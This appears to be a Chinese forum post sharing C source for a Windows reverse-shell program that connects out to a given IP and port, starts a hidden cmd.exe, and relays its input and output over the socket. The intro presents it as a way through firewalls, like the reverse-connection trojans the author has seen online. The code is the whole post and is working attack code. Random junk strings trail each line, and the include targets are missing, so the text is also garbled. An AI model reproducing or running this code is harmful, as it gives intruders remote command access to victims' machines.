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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r6WSX;K  
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/* ============================== v 3p'*81;  
Rebound port in Windows NT != uaB.  
By wind,2006/7 + *xi&|%  
===============================*/ >O;V[H2[  
#include $O'IbA  
#include qV$\E=%fhM  
4D'AAr57  
#pragma comment(lib,"wsock32.lib") Jn:h;|9w  
nrEG4X9  
void OutputShell(); F<V.OFt  
SOCKET sClient; @PL.7FM<v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }srmG|@:  
c1Rn1M,2k  
void main(int argc,char **argv) ur$=%3vM  
{ te[#FF3{  
WSADATA stWsaData; n g,&;E  
int nRet; luWr.<1  
SOCKADDR_IN stSaiClient,stSaiServer; <u_ vL WS  
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if(argc != 3) 5+DId7d'n  
{ v\Y8+dD  
printf("Useage:\n\rRebound DestIP DestPort\n"); N^Hj%5  
return; WGwIc7  
} (=-6'23q)  
<9dfbI)  
WSAStartup(MAKEWORD(2,2),&stWsaData); _ ?o>i/  
^TZ`1:oL#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2MU$OI0|  
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stSaiClient.sin_family = AF_INET; $P h#pM(  
stSaiClient.sin_port = htons(0); dW5@Z-9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Fks #Y1rI  
1/ 3<u::  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n&%0G2m:  
{ PcQ\o>0")  
printf("Bind Socket Failed!\n"); A\w"!tNM|  
return; ^)p+)5l   
} 5 W!#,jz  
z -c1,GOD  
stSaiServer.sin_family = AF_INET; iLt2L;v>h  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vR7S !  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3y%,f|ju  
K>vi9,4/ks  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -#Ys67,4N  
{ 9RPZj>ezjA  
printf("Connect Error!"); -A,UqEt  
return; $@HW|Y  
} ?,`g h}>  
OutputShell(); Itz[%Dbiq9  
} d{Cg3v`Rd  
z"c,TlVN3  
void OutputShell() 6DG%pF,  
{ D>-srzw  
char szBuff[1024]; j#jwK(:]  
SECURITY_ATTRIBUTES stSecurityAttributes; c'INmc I|  
OSVERSIONINFO stOsversionInfo; USg,=YM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -EJj j {  
STARTUPINFO stStartupInfo; rI OKCL?  
char *szShell; xpJ=yxO  
PROCESS_INFORMATION stProcessInformation; A*~BkvPr  
unsigned long lBytesRead; mX%T"_^  
7_R[ =t  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  {DD #&B  
ceuEsQ}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Zb7%$1)L~  
stSecurityAttributes.lpSecurityDescriptor = 0; eH V#Mey[  
stSecurityAttributes.bInheritHandle = TRUE; `MHixQ;j  
G{!(2D4!  
}9 ]7V<  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  }}Zg/(  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {"2Hv;x  
bcUSjG>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VU1Wr|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r PTfwhs  
stStartupInfo.wShowWindow = SW_HIDE; I Z|EPzS  
stStartupInfo.hStdInput = hReadPipe; <MKX F V  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CTe!jMZ=  
"=ki_1/P  
GetVersionEx(&stOsversionInfo); oE_*hp+  
2tg07  
switch(stOsversionInfo.dwPlatformId) (f2r4Io|}  
{ eE_$ADEf  
case 1: gC F9XKW  
szShell = "command.com"; &7,:: $cu  
break; 53$;ZO3  
default: } lXor~_i  
szShell = "cmd.exe"; O)ose?Z  
break; Y_6 v@SiO  
} KG4zjQf  
P 'o]#Az  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9f/l"  
Qp7F3,/#  
send(sClient,szMsg,77,0); 0|]d^bo  
while(1) K"[\)&WBG  
{ AiL80W^=d)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6b%IPbb  
if(lBytesRead) /6F\]JwU  
{ da~_(giD*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F2MC)&#  
send(sClient,szBuff,lBytesRead,0); cNikLd~?A  
} ,@fx[5{  
else 0_AIKJrL  
{ vL;>A]oM2  
lBytesRead=recv(sClient,szBuff,1024,0); N ]14~r=  
if(lBytesRead<=0) break; b@Dt]6_ UL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l8J2Xd @   
} #C'E'g0  
} ?~IdPSY  
Pe-rwM  
return; itE/QB  
}
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